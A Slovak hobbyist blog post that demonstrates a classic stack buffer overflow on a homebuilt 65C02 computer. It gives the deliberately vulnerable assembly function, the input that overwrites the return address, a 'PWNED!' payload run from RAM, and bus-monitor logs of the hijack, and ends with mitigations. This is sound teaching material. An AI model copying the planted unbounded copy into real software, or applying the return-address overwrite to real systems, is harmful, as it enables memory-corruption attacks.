65C02 – Prepísanie návratovej adresy (stack overflow)
Poskladal som si doma 8-bitový počítač s procesorom 65C02 podľa schémy Ben Eatra. Na zbernicu mám napichnuté Arduino Mega, ktoré mi na každom takte vypíše, čo CPU práve robí. A napadlo ma keď už to takto vidím „odzadu“, prečo na tom neukázať klasický stack overflow?
Toto je prvý diel malej série o tom, čo sa na takomto stroji dá predviesť z pohľadu bezpečnosti.
MOS Technology 6502 je legendárny 8-bitový mikoprocesor uvedený na trh v roku 1975. V dobe, kedy konkurenčné čipy ako Intel 8080 koštovali okolo 179 USD, tím Chucka Peddla ponúkol 6502 za neuveriteľných 25 USD. Týmto masívnym zlacnením odpálil pravú revolúciu v osobnej výpočtovej technike.
Nízka cena z neho spravila srdce drvivej väčšiny legendárnych zariadení 70. a 80. rokov: Apple I,II, Commodore PET, VIC-20, Atari 2600, NES, BBC Micro…
Objavil sa aj vo filme Terminátor ako procesor T-800vky alebo čip v hlave Bendera z Futurami
O čo ide
Napíšem zámerne blbý program. Funkcia si na zásobníku urobí 8-bajtový buffer a skopíruje do neho 10 bajtov vstupu hoci buffer má len 8. Keď je vstup dlhší, pretlačí sa cez buffer a prepíše návratovú adresu, ktorú tam predtým uložil JSR.
Keď funkcia spraví RTS, procesor si myslí, že sa vracia späť do main. V skutočnosti skočí tam, kam som mu návrat podvrhol do payloadu v RAM. Na LCD namiesto normálneho pokračovania vyskočí PWNED!.
Bez RAM to nejde. Stack žije v $0100–$01FF, a to je SRAM, nie EEPROM.
Ako funguje stack, JSR a RTS
Zásobník rastie nadol: od $01FF smerom dole. JSR naň uloží, kam sa má vrátiť. RTS to vytiahne a skočí.
Tu je háčik, na ktorom som sa aj ja sekol: JSR neukladá adresu ďalšej inštrukcie, ale o jedna menšiu. RTS ju vytiahne a pripočíta +1. Takže keď chcem po RTS skončiť na $0200, na stack nedávam $00 $02. Dávam $01FF (bajty FF 01), lebo $01FF + 1 = $0200.

Po resete nastavím zásobník takto:
ldx #$ff
txs
pha
pha
LDX #$FF / TXS nastaví ukazovateľ stacku na vrch stránky ($01FF). Dve PHA hneď zapíšu dva bajty „smeti“ a posunú SP nižšie ako keby som si na vrchu stacku rezervoval dva bajty, ktoré tento program na návraty nepoužije.
Bežný JSR potom ukladá návratovú adresu už pod tým. Pri vulnerable to stále platí rovnaký princíp: najprv JSR uloží 2 bajty návratu, funkcia si pod nimi „alokuje“ 8 bajtov buffra. Keď do buffra napchám 10 bajtov, pretlačím sa cez tých 8 a prepíšem práve tie 2 bajty návratu hodnotami FF 01 (teda cieľ $0200 po RTS).
Vloženie payloadu
Útok má dve časti. Najprv musím mať niekde kód, ktorý chcem spustiť. Až potom prepíšem návrat, aby sa naň skočilo.
Payload mám vo firmvéri ako dáta (payload_src). Hneď po štarte, ešte pred výpisom Normal..., ho skopírujem do RAM na $0200.
ROM-ku nahrávam cez Arduino programátor, ktorý som si spravil podľa schémy Ben Eatera. Assembler si preložím do strojového kódu pomocou aplikácie a výsledok nahrám do EEPROM.
install_payload:
ldx #0 ; index od nuly
install_loop:
lda payload_src,x
sta $0200,x ; zapíš do RAM (payload)
inx ; X = X + 1
cpx #PAYLOAD_LEN ; už je skopírovaných 29 bajtov?
bne install_loop ; nie → pokračuj
rts ; áno → späť
Na bus monitore to uvidím ako sériu zápisov:
0200 W A9
0201 W 01
0202 W 20
...
0216 W 50 ; 'P' z "PWNED!"
Čo ten payload robí? Vyčistí LCD, vypíše PWNED! a zasekne sa v slučke (JMP $0213). Na výpis používa moje existujúce rutiny lcd_instruction ($8098) a print_char ($80AE) v EEPROM skáče na ne cez JSR. Text „PWNED!“ je hneď za kódom v RAM ($0216).
Vzor v assembleri:
payload_src:
.byte $A9, $01 ; LDA #$01 (clear)
.byte $20
.word lcd_instruction ; JSR …
.byte $A2, $00 ; LDX #0
.byte $BD, $16, $02 ; LDA $0216,X
.byte $F0, $07 ; BEQ hang
.byte $20
.word print_char
.byte $E8 ; INX
.byte $4C, $07, $02 ; JMP $0207
.byte $4C, $13, $02 ; hang
.byte $50,$57,$4E,$45,$44,$21,$00 ; "PWNED!"
Prečo to kopírujem do RAM, keď by mohol ostať v EEPROM? Lebo chcem na monitore vidieť, že sa do $0200 niečo zapisuje, a neskôr (ďalší diel) ukážem, že ten istý kód môže prísť aj „zvonku“. Tu je zdroj zatiaľ v EEPROM ale beží už z RAM.
Zraniteľný program
Celý súbor: demo_overflow.asm. Po inite LCD a po install_payload vypíšem Normal... a zavolám zlú funkciu (main_call je u mňa na $8034, vulnerable na $8056):
main_call:
jsr vulnerable
; sem by som sa mal vrátiť — vypíšem "Done"
; po útoku sa sem už nedostanem
A samotná chyba:
vulnerable:
; sprav si na stacku 8 bajtov miesta
tsx
txa
sec
sbc #8
tax
txs
; kopíruj vstup — bez limitu voči tým 8 bajtom
tsx
inx ; začiatok buffra
ldy #0
copy_loop:
lda evil_input,y
sta $0100,x
inx
iny
cpy #10 ; zámerne viac než 8
bne copy_loop
; vráť SP späť a „vráť sa“
tsx
txa
clc
adc #8
tax
txs
rts
Vstup, ktorý to rozbije:
evil_input:
.byte $41,$42,$43,$44,$45,$46,$47,$48 ; "ABCDEFGH" do buffra
.byte $FF,$01 ; návrat − 1 = $01FF → po RTS (+1) → $0200
V reálnom živote by tie bajty prišli zo sériového portu alebo klávesnice. Ja ich mám natvrdo v programe, aby bolo demo opakovateľné.
Čo uvidím na bus monitore
Spustím Mega monitor, clockujem pomaly. Každý riadok má stĺpce:
addr bits data bits addr rw dd assembly comment
Dôležité sú hlavne addr, rw (r/W) a dd (dáta). Stĺpec assembly pri zápisoch na stack často hlúposti (uvidíš BRK) — vtedy verím komentáru WRITE $xx -> $yyyy.
Po resete init stacku (A2 FF 9A 48 48):
1000000000000000 10100010 8000 r a2 LDX ... fetch opcode 1000000000000001 11111111 8001 r ff LDX #$FF load X with #const 1000000000000010 10011010 8002 r 9a TXS SP = X 1000000000000011 01001000 8003 r 48 PHA push A 0000000111111111 00000000 01ff W 00 PHA WRITE $00 -> $01FF 1000000000000100 01001000 8004 r 48 PHA push A 0000000111111110 00000000 01fe W 00 PHA WRITE $00 -> $01FE
Potom LCD init, kopírovanie payloadu do RAM a výpis Normal...:
0000001000000000 10101001 0200 W a9 STA WRITE $A9 -> $0200 … 0110000000000000 01001110 6000 W 4e STA WRITE $4E -> $6000 ; 'N'
JSR vulnerable ($8034 → $8056). Na stack ide návrat − 1 ($8036) — najprv high, potom low:
1000000000110100 00100000 8034 r 20 JSR ... fetch operand
1000000000110101 01010110 8035 r 56 JSR $8056 call subroutine
0000000111111101 10000000 01fd W 80 JSR WRITE $80 -> $01FD
0000000111111100 00110110 01fc W 36 JSR WRITE $36 -> $01FC
1000000001010110 10111010 8056 r ba … ; už sme vo vulnerable (TSX)
Ďalej sa plní buffer a nakoniec sa návrat prepíše na FF 01:
0000000111110100 01000001 01f4 W 41 STA WRITE $41 -> $01F4 ; 'A' 0000000111110101 01000010 01f5 W 42 BRK WRITE $42 -> $01F5 ; 'B' 0000000111110110 01000011 01f6 W 43 BRK WRITE $43 -> $01F6 ; 'C' 0000000111110111 01000100 01f7 W 44 BRK WRITE $44 -> $01F7 ; 'D' 0000000111111000 01000101 01f8 W 45 BRK WRITE $45 -> $01F8 ; 'E' 0000000111111001 01000110 01f9 W 46 BRK WRITE $46 -> $01F9 ; 'F' 0000000111111010 01000111 01fa W 47 BRK WRITE $47 -> $01FA ; 'G' 0000000111111011 01001000 01fb W 48 BRK WRITE $48 -> $01FB ; 'H' 0000000111111100 11111111 01fc W ff BRK WRITE $FF -> $01FC ; low podvrhu 0000000111111101 00000001 01fd W 01 BRK WRITE $01 -> $01FD ; high → $01FF
RTS to vytiahne, pripočíta 1, a sme v payloade:
1000000001110100 01100000 8074 r 60 RTS return from subroutine 0000000111111100 11111111 01fc r ff RTS mem read = $FF 0000001000000000 10101001 0200 r a9 … ; LDA #$01 — payload 0000001000000001 00000001 0201 r 01 …
Na LCD cez VIA:
0110000000000000 01010000 6000 W 50 STA WRITE $50 -> $6000 ; 'P' 0110000000000000 01010111 6000 W 57 STA WRITE $57 -> $6000 ; 'W' 0110000000000000 01001110 6000 W 4e STA WRITE $4E -> $6000 ; 'N' 0110000000000000 01000101 6000 W 45 STA WRITE $45 -> $6000 ; 'E' 0110000000000000 01000100 6000 W 44 STA WRITE $44 -> $6000 ; 'D' 0110000000000000 00100001 6000 W 21 STA WRITE $21 -> $6000 ; '!'
A hang v payloade (JMP $0213):
0000001000010011 01001100 0213 r 4c … 0000001000010100 00010011 0214 r 13 … 0000001000010101 00000010 0215 r 02 …
Na displeji PWNED!. Správa Done sa neukáže. Hotovo.
Tu si môžeš pozrieť celý log.
Prečo to prejde
Lebo tu nie je nič, čo by to zastavilo. Žiadny NX bit, žiadne ASLR, žiadny canary, žiadne jadro a používateľ. Čo je v pamäti na adrese, z ktorej CPU fetchuje, to sa vykoná. Stack je obyčajná RAM. RTS verí tomu, čo na ňom nájde.
Čo s tým
Úplne triviálne: nekopírovať viac, než je buffra. U mňa je chyba zámerne cpy #10 do 8 bajtov.
Ďalšie veci, ktoré na 8-bitoch ešte idú: dať pred návrat magickú hodnotu (canary) a pred RTS ju skontrolovať; buffre radšej držať mimo stacku; a hlavne si uvedomiť, že W65C02 ti stack sám neochráni.
V ďalšom diele pôjdem ďalej: payload nemusí byť vopred vo firmvéri dá sa do RAM natlačiť ako vstup a spustiť. To už je klasický code injection.



tu je cely demo_overflow.asm
[theoldone_code file=“demo_overflow.asm“]